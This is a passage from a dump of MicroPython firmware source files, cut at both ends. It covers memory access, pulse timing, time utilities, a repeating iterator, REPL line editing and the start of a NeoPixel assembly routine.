*/\n\n#include \"extmod/machine_mem.h\"\n#include \"py/nlr.h\"\n\n#if MICROPY_PY_MACHINE\n\n// If you wish to override the functions for mapping the machine_mem read/write\n// address, then add a #define for MICROPY_MACHINE_MEM_GET_READ_ADDR and/or\n// MICROPY_MACHINE_MEM_GET_WRITE_ADDR in your mpconfigport.h. Since the\n// prototypes are identical, it is allowable for both of the macros to evaluate\n// the to same function.\n//\n// It is expected that the modmachine.c file for a given port will provide the\n// implementations, if the default implementation isn't used.\n\n#if !defined(MICROPY_MACHINE_MEM_GET_READ_ADDR) || !defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR)\nSTATIC uintptr_t machine_mem_get_addr(mp_obj_t addr_o, uint align) {\n    uintptr_t addr = mp_obj_int_get_truncated(addr_o);\n    if ((addr & (align - 1)) != 0) {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, \"address %08x is not aligned to %d bytes\", addr, align));\n    }\n    return addr;\n}\n#if !defined(MICROPY_MACHINE_MEM_GET_READ_ADDR)\n#define MICROPY_MACHINE_MEM_GET_READ_ADDR machine_mem_get_addr\n#endif\n#if !defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR)\n#define MICROPY_MACHINE_MEM_GET_WRITE_ADDR machine_mem_get_addr\n#endif\n#endif\n\nSTATIC void machine_mem_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    machine_mem_obj_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, \"<%u-bit memory>\", 8 * self->elem_size);\n}\n\nSTATIC mp_obj_t machine_mem_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    // TODO support slice index to read/write multiple values at once\n    machine_mem_obj_t *self = MP_OBJ_TO_PTR(self_in);\n    if (value == MP_OBJ_NULL) {\n        // delete\n        return MP_OBJ_NULL; // op not supported\n    } else if (value == MP_OBJ_SENTINEL) {\n        // load\n        uintptr_t addr = MICROPY_MACHINE_MEM_GET_READ_ADDR(index, self->elem_size);\n        uint32_t val;\n        switch (self->elem_size) {\n            case 1: val = (*(uint8_t*)addr); break;\n            case 2: val = (*(uint16_t*)addr); break;\n            default: val = (*(uint32_t*)addr); break;\n        }\n        return mp_obj_new_int(val);\n    } else {\n        // store\n        uintptr_t addr = MICROPY_MACHINE_MEM_GET_WRITE_ADDR(index, self->elem_size);\n        uint32_t val = mp_obj_get_int_truncated(value);\n        switch (self->elem_size) {\n            case 1: (*(uint8_t*)addr) = val; break;\n            case 2: (*(uint16_t*)addr) = val; break;\n            default: (*(uint32_t*)addr) = val; break;\n        }\n        return mp_const_none;\n    }\n}\n\nconst mp_obj_type_t machine_mem_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_mem,\n    .print = machine_mem_print,\n    .subscr = machine_mem_subscr,\n};\n\nconst machine_mem_obj_t machine_mem8_obj = {{&machine_mem_type}, 1};\nconst machine_mem_obj_t machine_mem16_obj = {{&machine_mem_type}, 2};\nconst machine_mem_obj_t machine_mem32_obj = {{&machine_mem_type}, 4};\n\n#endif // MICROPY_PY_MACHINE\n"
  },
  {
    "path": "micropython/source/extmod/machine_pulse.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"py/mperrno.h\"\n#include \"extmod/machine_pulse.h\"\n\n#if MICROPY_PY_MACHINE_PULSE\n\nmp_uint_t machine_time_pulse_us(mp_hal_pin_obj_t pin, int pulse_level, mp_uint_t timeout_us) {\n    mp_uint_t start = mp_hal_ticks_us();\n    while (mp_hal_pin_read(pin) != pulse_level) {\n        if ((mp_uint_t)(mp_hal_ticks_us() - start) >= timeout_us) {\n            return (mp_uint_t)-2;\n        }\n    }\n    start = mp_hal_ticks_us();\n    while (mp_hal_pin_read(pin) == pulse_level) {\n        if ((mp_uint_t)(mp_hal_ticks_us() - start) >= timeout_us) {\n            return (mp_uint_t)-1;\n        }\n    }\n    return mp_hal_ticks_us() - start;\n}\n\nSTATIC mp_obj_t machine_time_pulse_us_(size_t n_args, const mp_obj_t *args) {\n    mp_hal_pin_obj_t pin = mp_hal_get_pin_obj(args[0]);\n    int level = 0;\n    if (mp_obj_is_true(args[1])) {\n        level = 1;\n    }\n    mp_uint_t timeout_us = 1000000;\n    if (n_args > 2) {\n        timeout_us = mp_obj_get_int(args[2]);\n    }\n    mp_uint_t us = machine_time_pulse_us(pin, level, timeout_us);\n    // May return -1 or -2 in case of timeout\n    return mp_obj_new_int(us);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(machine_time_pulse_us_obj, 2, 3, machine_time_pulse_us_);\n\n#endif\n"
  },
  {
    "path": "micropython/source/extmod/utime_mphal.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n * Copyright (c) 2016 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n#if MICROPY_PY_UTIME_MP_HAL\n\n#include <string.h>\n\n#include \"py/obj.h\"\n#include \"py/mphal.h\"\n#include \"py/smallint.h\"\n#include \"py/runtime.h\"\n#include \"extmod/utime_mphal.h\"\n\nSTATIC mp_obj_t time_sleep(mp_obj_t seconds_o) {\n    #if MICROPY_PY_BUILTINS_FLOAT\n    mp_hal_delay_ms((mp_uint_t)(1000 * mp_obj_get_float(seconds_o)));\n    #else\n    mp_hal_delay_ms(1000 * mp_obj_get_int(seconds_o));\n    #endif\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_obj, time_sleep);\n\nSTATIC mp_obj_t time_sleep_ms(mp_obj_t arg) {\n    mp_int_t ms = mp_obj_get_int(arg);\n    if (ms > 0) {\n        mp_hal_delay_ms(ms);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_ms_obj, time_sleep_ms);\n\nSTATIC mp_obj_t time_sleep_us(mp_obj_t arg) {\n    mp_int_t us = mp_obj_get_int(arg);\n    if (us > 0) {\n        mp_hal_delay_us(us);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_us_obj, time_sleep_us);\n\nSTATIC mp_obj_t time_ticks_ms(void) {\n    return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_ms() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1));\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_ms_obj, time_ticks_ms);\n\nSTATIC mp_obj_t time_ticks_us(void) {\n    return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_us() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1));\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_us_obj, time_ticks_us);\n\nSTATIC mp_obj_t time_ticks_cpu(void) {\n    return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_cpu() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1));\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_cpu_obj, time_ticks_cpu);\n\nSTATIC mp_obj_t time_ticks_diff(mp_obj_t end_in, mp_obj_t start_in) {\n    // we assume that the arguments come from ticks_xx so are small ints\n    mp_uint_t start = MP_OBJ_SMALL_INT_VALUE(start_in);\n    mp_uint_t end = MP_OBJ_SMALL_INT_VALUE(end_in);\n    // Optimized formula avoiding if conditions. We adjust difference \"forward\",\n    // wrap it around and adjust back.\n    mp_int_t diff = ((end - start + MICROPY_PY_UTIME_TICKS_PERIOD / 2) & (MICROPY_PY_UTIME_TICKS_PERIOD - 1))\n                   - MICROPY_PY_UTIME_TICKS_PERIOD / 2;\n    return MP_OBJ_NEW_SMALL_INT(diff);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_utime_ticks_diff_obj, time_ticks_diff);\n\nSTATIC mp_obj_t time_ticks_add(mp_obj_t ticks_in, mp_obj_t delta_in) {\n    // we assume that first argument come from ticks_xx so is small int\n    mp_uint_t ticks = MP_OBJ_SMALL_INT_VALUE(ticks_in);\n    mp_uint_t delta = mp_obj_get_int(delta_in);\n    return MP_OBJ_NEW_SMALL_INT((ticks + delta) & (MICROPY_PY_UTIME_TICKS_PERIOD - 1));\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_utime_ticks_add_obj, time_ticks_add);\n\n#endif // MICROPY_PY_UTIME_MP_HAL\n"
  },
  {
    "path": "micropython/source/lib/iters.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015/6 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"lib/iters.h\"\n\n\ntypedef struct _repeat_iterator_t {\n    mp_obj_base_t base;\n    mp_obj_t iterable;\n    mp_int_t index;\n} repeat_iterator_t;\n\nstatic mp_obj_t microbit_repeat_iter_next(mp_obj_t iter_in) {\n    repeat_iterator_t *iter = (repeat_iterator_t *)iter_in;\n    iter->index++;\n    if (iter->index >= mp_obj_get_int(mp_obj_len(iter->iterable))) {\n        iter->index = 0;\n    }\n    return mp_obj_subscr(iter->iterable, MP_OBJ_NEW_SMALL_INT(iter->index), MP_OBJ_SENTINEL);\n}\n\nconst mp_obj_type_t microbit_repeat_iterator_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = mp_identity_getiter,\n    .iternext = microbit_repeat_iter_next,\n};\n\nmp_obj_t microbit_repeat_iterator(mp_obj_t iterable) {\n    repeat_iterator_t *result = m_new_obj(repeat_iterator_t);\n    result->base.type = &microbit_repeat_iterator_type;\n    result->iterable = iterable;\n    result->index = -1;\n    return result;\n}\n"
  },
  {
    "path": "micropython/source/lib/mp-readline/readline.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"py/mpstate.h\"\n#include \"py/repl.h\"\n#include \"py/mphal.h\"\n#include \"lib/mp-readline/readline.h\"\n\n#if 0 // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf printf\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#endif\n\n#define READLINE_HIST_SIZE (MP_ARRAY_SIZE(MP_STATE_PORT(readline_hist)))\n\nenum { ESEQ_NONE, ESEQ_ESC, ESEQ_ESC_BRACKET, ESEQ_ESC_BRACKET_DIGIT, ESEQ_ESC_O };\n\nvoid readline_init0(void) {\n    memset(MP_STATE_PORT(readline_hist), 0, READLINE_HIST_SIZE * sizeof(const char*));\n}\n\nSTATIC char *str_dup_maybe(const char *str) {\n    uint32_t len = strlen(str);\n    char *s2 = m_new_maybe(char, len + 1);\n    if (s2 == NULL) {\n        return NULL;\n    }\n    memcpy(s2, str, len + 1);\n    return s2;\n}\n\n// By default assume terminal which implements VT100 commands...\n#ifndef MICROPY_HAL_HAS_VT100\n#define MICROPY_HAL_HAS_VT100 (1)\n#endif\n\n// ...and provide the implementation using them\n#if MICROPY_HAL_HAS_VT100\nSTATIC void mp_hal_move_cursor_back(uint pos) {\n    if (pos <= 4) {\n        // fast path for most common case of 1 step back\n        mp_hal_stdout_tx_strn(\"\\b\\b\\b\\b\", pos);\n    } else {\n        char vt100_command[6];\n        // snprintf needs space for the terminating null character\n        int n = snprintf(&vt100_command[0], sizeof(vt100_command), \"\\x1b[%u\", pos);\n        if (n > 0) {\n            vt100_command[n] = 'D'; // replace null char\n            mp_hal_stdout_tx_strn(vt100_command, n + 1);\n        }\n    }\n}\n\nSTATIC void mp_hal_erase_line_from_cursor(uint n_chars_to_erase) {\n    (void)n_chars_to_erase;\n    mp_hal_stdout_tx_strn(\"\\x1b[K\", 3);\n}\n#endif\n\ntypedef struct _readline_t {\n    vstr_t *line;\n    size_t orig_line_len;\n    int escape_seq;\n    int hist_cur;\n    size_t cursor_pos;\n    char escape_seq_buf[1];\n    const char *prompt;\n} readline_t;\n\nSTATIC readline_t rl;\n\nint readline_process_char(int c) {\n    size_t last_line_len = rl.line->len;\n    int redraw_step_back = 0;\n    bool redraw_from_cursor = false;\n    int redraw_step_forward = 0;\n    if (rl.escape_seq == ESEQ_NONE) {\n        if (CHAR_CTRL_A <= c && c <= CHAR_CTRL_E && vstr_len(rl.line) == rl.orig_line_len) {\n            // control character with empty line\n            return c;\n        } else if (c == CHAR_CTRL_A) {\n            // CTRL-A with non-empty line is go-to-start-of-line\n            goto home_key;\n        #if MICROPY_REPL_EMACS_KEYS\n        } else if (c == CHAR_CTRL_B) {\n            // CTRL-B with non-empty line is go-back-one-char\n            goto left_arrow_key;\n        #endif\n        } else if (c == CHAR_CTRL_C) {\n            // CTRL-C with non-empty line is cancel\n            return c;\n        #if MICROPY_REPL_EMACS_KEYS\n        } else if (c == CHAR_CTRL_D) {\n            // CTRL-D with non-empty line is delete-at-cursor\n            goto delete_key;\n        #endif\n        } else if (c == CHAR_CTRL_E) {\n            // CTRL-E is go-to-end-of-line\n            goto end_key;\n        #if MICROPY_REPL_EMACS_KEYS\n        } else if (c == CHAR_CTRL_F) {\n            // CTRL-F with non-empty line is go-forward-one-char\n            goto right_arrow_key;\n        } else if (c == CHAR_CTRL_K) {\n            // CTRL-K is kill from cursor to end-of-line, inclusive\n            vstr_cut_tail_bytes(rl.line, last_line_len - rl.cursor_pos);\n            // set redraw parameters\n            redraw_from_cursor = true;\n        } else if (c == CHAR_CTRL_N) {\n            // CTRL-N is go to next line in history\n            goto down_arrow_key;\n        } else if (c == CHAR_CTRL_P) {\n            // CTRL-P is go to previous line in history\n            goto up_arrow_key;\n        } else if (c == CHAR_CTRL_U) {\n            // CTRL-U is kill from beginning-of-line up to cursor\n            vstr_cut_out_bytes(rl.line, rl.orig_line_len, rl.cursor_pos - rl.orig_line_len);\n            // set redraw parameters\n            redraw_step_back = rl.cursor_pos - rl.orig_line_len;\n            redraw_from_cursor = true;\n        #endif\n        } else if (c == '\\r') {\n            // newline\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            readline_push_history(vstr_null_terminated_str(rl.line) + rl.orig_line_len);\n            return 0;\n        } else if (c == 27) {\n            // escape sequence\n            rl.escape_seq = ESEQ_ESC;\n        } else if (c == 8 || c == 127) {\n            // backspace/delete\n            if (rl.cursor_pos > rl.orig_line_len) {\n                // work out how many chars to backspace\n                #if MICROPY_REPL_AUTO_INDENT\n                int nspace = 0;\n                for (size_t i = rl.orig_line_len; i < rl.cursor_pos; i++) {\n                    if (rl.line->buf[i] != ' ') {\n                        nspace = 0;\n                        break;\n                    }\n                    nspace += 1;\n                }\n                if (nspace < 4) {\n                    nspace = 1;\n                } else {\n                    nspace = 4;\n                }\n                #else\n                int nspace = 1;\n                #endif\n\n                // do the backspace\n                vstr_cut_out_bytes(rl.line, rl.cursor_pos - nspace, nspace);\n                // set redraw parameters\n                redraw_step_back = nspace;\n                redraw_from_cursor = true;\n            }\n        #if MICROPY_HELPER_REPL\n        } else if (c == 9) {\n            // tab magic\n            const char *compl_str;\n            size_t compl_len = mp_repl_autocomplete(rl.line->buf + rl.orig_line_len, rl.cursor_pos - rl.orig_line_len, &mp_plat_print, &compl_str);\n            if (compl_len == 0) {\n                // no match\n            } else if (compl_len == (size_t)(-1)) {\n                // many matches\n                mp_hal_stdout_tx_str(rl.prompt);\n                mp_hal_stdout_tx_strn(rl.line->buf + rl.orig_line_len, rl.cursor_pos - rl.orig_line_len);\n                redraw_from_cursor = true;\n            } else {\n                // one match\n                for (size_t i = 0; i < compl_len; ++i) {\n                    vstr_ins_byte(rl.line, rl.cursor_pos + i, *compl_str++);\n                }\n                // set redraw parameters\n                redraw_from_cursor = true;\n                redraw_step_forward = compl_len;\n            }\n        #endif\n        } else if (32 <= c && c <= 126) {\n            // printable character\n            vstr_ins_char(rl.line, rl.cursor_pos, c);\n            // set redraw parameters\n            redraw_from_cursor = true;\n            redraw_step_forward = 1;\n        }\n    } else if (rl.escape_seq == ESEQ_ESC) {\n        switch (c) {\n            case '[':\n                rl.escape_seq = ESEQ_ESC_BRACKET;\n                break;\n            case 'O':\n                rl.escape_seq = ESEQ_ESC_O;\n                break;\n            default:\n                DEBUG_printf(\"(ESC %d)\", c);\n                rl.escape_seq = ESEQ_NONE;\n        }\n    } else if (rl.escape_seq == ESEQ_ESC_BRACKET) {\n        if ('0' <= c && c <= '9') {\n            rl.escape_seq = ESEQ_ESC_BRACKET_DIGIT;\n            rl.escape_seq_buf[0] = c;\n        } else {\n            rl.escape_seq = ESEQ_NONE;\n            if (c == 'A') {\n#if MICROPY_REPL_EMACS_KEYS\nup_arrow_key:\n#endif\n                // up arrow\n                if (rl.hist_cur + 1 < (int)READLINE_HIST_SIZE && MP_STATE_PORT(readline_hist)[rl.hist_cur + 1] != NULL) {\n                    // increase hist num\n                    rl.hist_cur += 1;\n                    // set line to history\n                    rl.line->len = rl.orig_line_len;\n                    vstr_add_str(rl.line, MP_STATE_PORT(readline_hist)[rl.hist_cur]);\n                    // set redraw parameters\n                    redraw_step_back = rl.cursor_pos - rl.orig_line_len;\n                    redraw_from_cursor = true;\n                    redraw_step_forward = rl.line->len - rl.orig_line_len;\n                }\n            } else if (c == 'B') {\n#if MICROPY_REPL_EMACS_KEYS\ndown_arrow_key:\n#endif\n                // down arrow\n                if (rl.hist_cur >= 0) {\n                    // decrease hist num\n                    rl.hist_cur -= 1;\n                    // set line to history\n                    vstr_cut_tail_bytes(rl.line, rl.line->len - rl.orig_line_len);\n                    if (rl.hist_cur >= 0) {\n                        vstr_add_str(rl.line, MP_STATE_PORT(readline_hist)[rl.hist_cur]);\n                    }\n                    // set redraw parameters\n                    redraw_step_back = rl.cursor_pos - rl.orig_line_len;\n                    redraw_from_cursor = true;\n                    redraw_step_forward = rl.line->len - rl.orig_line_len;\n                }\n            } else if (c == 'C') {\n#if MICROPY_REPL_EMACS_KEYS\nright_arrow_key:\n#endif\n                // right arrow\n                if (rl.cursor_pos < rl.line->len) {\n                    redraw_step_forward = 1;\n                }\n            } else if (c == 'D') {\n#if MICROPY_REPL_EMACS_KEYS\nleft_arrow_key:\n#endif\n                // left arrow\n                if (rl.cursor_pos > rl.orig_line_len) {\n                    redraw_step_back = 1;\n                }\n            } else if (c == 'H') {\n                // home\n                goto home_key;\n            } else if (c == 'F') {\n                // end\n                goto end_key;\n            } else {\n                DEBUG_printf(\"(ESC [ %d)\", c);\n            }\n        }\n    } else if (rl.escape_seq == ESEQ_ESC_BRACKET_DIGIT) {\n        if (c == '~') {\n            if (rl.escape_seq_buf[0] == '1' || rl.escape_seq_buf[0] == '7') {\nhome_key:\n                redraw_step_back = rl.cursor_pos - rl.orig_line_len;\n            } else if (rl.escape_seq_buf[0] == '4' || rl.escape_seq_buf[0] == '8') {\nend_key:\n                redraw_step_forward = rl.line->len - rl.cursor_pos;\n            } else if (rl.escape_seq_buf[0] == '3') {\n                // delete\n#if MICROPY_REPL_EMACS_KEYS\ndelete_key:\n#endif\n                if (rl.cursor_pos < rl.line->len) {\n                    vstr_cut_out_bytes(rl.line, rl.cursor_pos, 1);\n                    redraw_from_cursor = true;\n                }\n            } else {\n                DEBUG_printf(\"(ESC [ %c %d)\", rl.escape_seq_buf[0], c);\n            }\n        } else {\n            DEBUG_printf(\"(ESC [ %c %d)\", rl.escape_seq_buf[0], c);\n        }\n        rl.escape_seq = ESEQ_NONE;\n    } else if (rl.escape_seq == ESEQ_ESC_O) {\n        switch (c) {\n            case 'H':\n                goto home_key;\n            case 'F':\n                goto end_key;\n            default:\n                DEBUG_printf(\"(ESC O %d)\", c);\n                rl.escape_seq = ESEQ_NONE;\n        }\n    } else {\n        rl.escape_seq = ESEQ_NONE;\n    }\n\n    // redraw command prompt, efficiently\n    if (redraw_step_back > 0) {\n        mp_hal_move_cursor_back(redraw_step_back);\n        rl.cursor_pos -= redraw_step_back;\n    }\n    if (redraw_from_cursor) {\n        if (rl.line->len < last_line_len) {\n            // erase old chars\n            mp_hal_erase_line_from_cursor(last_line_len - rl.cursor_pos);\n        }\n        // draw new chars\n        mp_hal_stdout_tx_strn(rl.line->buf + rl.cursor_pos, rl.line->len - rl.cursor_pos);\n        // move cursor forward if needed (already moved forward by length of line, so move it back)\n        mp_hal_move_cursor_back(rl.line->len - (rl.cursor_pos + redraw_step_forward));\n        rl.cursor_pos += redraw_step_forward;\n    } else if (redraw_step_forward > 0) {\n        // draw over old chars to move cursor forwards\n        mp_hal_stdout_tx_strn(rl.line->buf + rl.cursor_pos, redraw_step_forward);\n        rl.cursor_pos += redraw_step_forward;\n    }\n\n    return -1;\n}\n\n#if MICROPY_REPL_AUTO_INDENT\nSTATIC void readline_auto_indent(void) {\n    vstr_t *line = rl.line;\n    if (line->len > 1 && line->buf[line->len - 1] == '\\n') {\n        int i;\n        for (i = line->len - 1; i > 0; i--) {\n            if (line->buf[i - 1] == '\\n') {\n                break;\n            }\n        }\n        size_t j;\n        for (j = i; j < line->len; j++) {\n            if (line->buf[j] != ' ') {\n                break;\n            }\n        }\n        // i=start of line; j=first non-space\n        if (i > 0 && j + 1 == line->len) {\n            // previous line is not first line and is all spaces\n            for (size_t k = i - 1; k > 0; --k) {\n                if (line->buf[k - 1] == '\\n') {\n                    // don't auto-indent if last 2 lines are all spaces\n                    return;\n                } else if (line->buf[k - 1] != ' ') {\n                    // 2nd previous line is not all spaces\n                    break;\n                }\n            }\n        }\n        int n = (j - i) / 4;\n        if (line->buf[line->len - 2] == ':') {\n            n += 1;\n        }\n        while (n-- > 0) {\n            vstr_add_strn(line, \"    \", 4);\n            mp_hal_stdout_tx_strn(\"    \", 4);\n            rl.cursor_pos += 4;\n        }\n    }\n}\n#endif\n\nvoid readline_note_newline(const char *prompt) {\n    rl.orig_line_len = rl.line->len;\n    rl.cursor_pos = rl.orig_line_len;\n    rl.prompt = prompt;\n    mp_hal_stdout_tx_str(prompt);\n    #if MICROPY_REPL_AUTO_INDENT\n    readline_auto_indent();\n    #endif\n}\n\nvoid readline_init(vstr_t *line, const char *prompt) {\n    rl.line = line;\n    rl.orig_line_len = line->len;\n    rl.escape_seq = ESEQ_NONE;\n    rl.escape_seq_buf[0] = 0;\n    rl.hist_cur = -1;\n    rl.cursor_pos = rl.orig_line_len;\n    rl.prompt = prompt;\n    mp_hal_stdout_tx_str(prompt);\n    #if MICROPY_REPL_AUTO_INDENT\n    readline_auto_indent();\n    #endif\n}\n\nint readline(vstr_t *line, const char *prompt) {\n    readline_init(line, prompt);\n    for (;;) {\n        int c = mp_hal_stdin_rx_chr();\n        int r = readline_process_char(c);\n        if (r >= 0) {\n            return r;\n        }\n    }\n}\n\nvoid readline_push_history(const char *line) {\n    if (line[0] != '\\0'\n        && (MP_STATE_PORT(readline_hist)[0] == NULL\n            || strcmp(MP_STATE_PORT(readline_hist)[0], line) != 0)) {\n        // a line which is not empty and different from the last one\n        // so update the history\n        char *most_recent_hist = str_dup_maybe(line);\n        if (most_recent_hist != NULL) {\n            for (int i = READLINE_HIST_SIZE - 1; i > 0; i--) {\n                MP_STATE_PORT(readline_hist)[i] = MP_STATE_PORT(readline_hist)[i - 1];\n            }\n            MP_STATE_PORT(readline_hist)[0] = most_recent_hist;\n        }\n    }\n}\n"
  },
  {
    "path": "micropython/source/lib/neopixelsend.s",
    "content": "/*\n  Portions of this code based on code provided under MIT license from Microsoft\n  https://github.com/Microsoft/pxt-ws2812b\n\n  MIT License\n\n  Copyright (c) Microsoft Corporation. All rights reserved.\n\n  Permission is hereby granted, free of charge, to any person obtaining a copy\n  of this software and associated documentation files (the \"Software\"), to deal\n  in the Software without restriction, including without limitation the rights\n  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n  copies of the Software, and to permit persons to whom the Software is\n  furnished to do so, subject to the following conditions:\n\n  The above copyright notice and this permission notice shall be included in all\n  copies or substantial portions of the Software.'\n\n  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n  SOFTWARE\n*/\n\n.global sendNeopixelBuffer\n\n /* declared as extern void sendBuffer(uint32_t pin, uint8_t* data_address, uint16_t num_leds) */\n\nsendNeopixelBuffer:\n    push {r0, r1, r2, r3, r4, r5, r6}\n\n    /*\n    We are expecting from the callee:\n    r0 = pinmask to waggle in the GPIO register\n    r1 = address of the data we are supposed to be sending\n    r2 = number of LEDs\n\n    Setup the initial values\n     r1 = Pin mask in the GPIO register\n     r2 = GPIO clear register\n     r3 = GPIO SET\n     r4 = Address pointer for the data - we cast this as a byte earlier because it really is.\n     r5 = Length of the data (number of LEDS * 3 bytes per LED) - If trying to add RGB+W this sum might need to be done conditionally\n     r6 = Parallel to serial conversion mask\n    */\n    mov r4, r1\n    mov 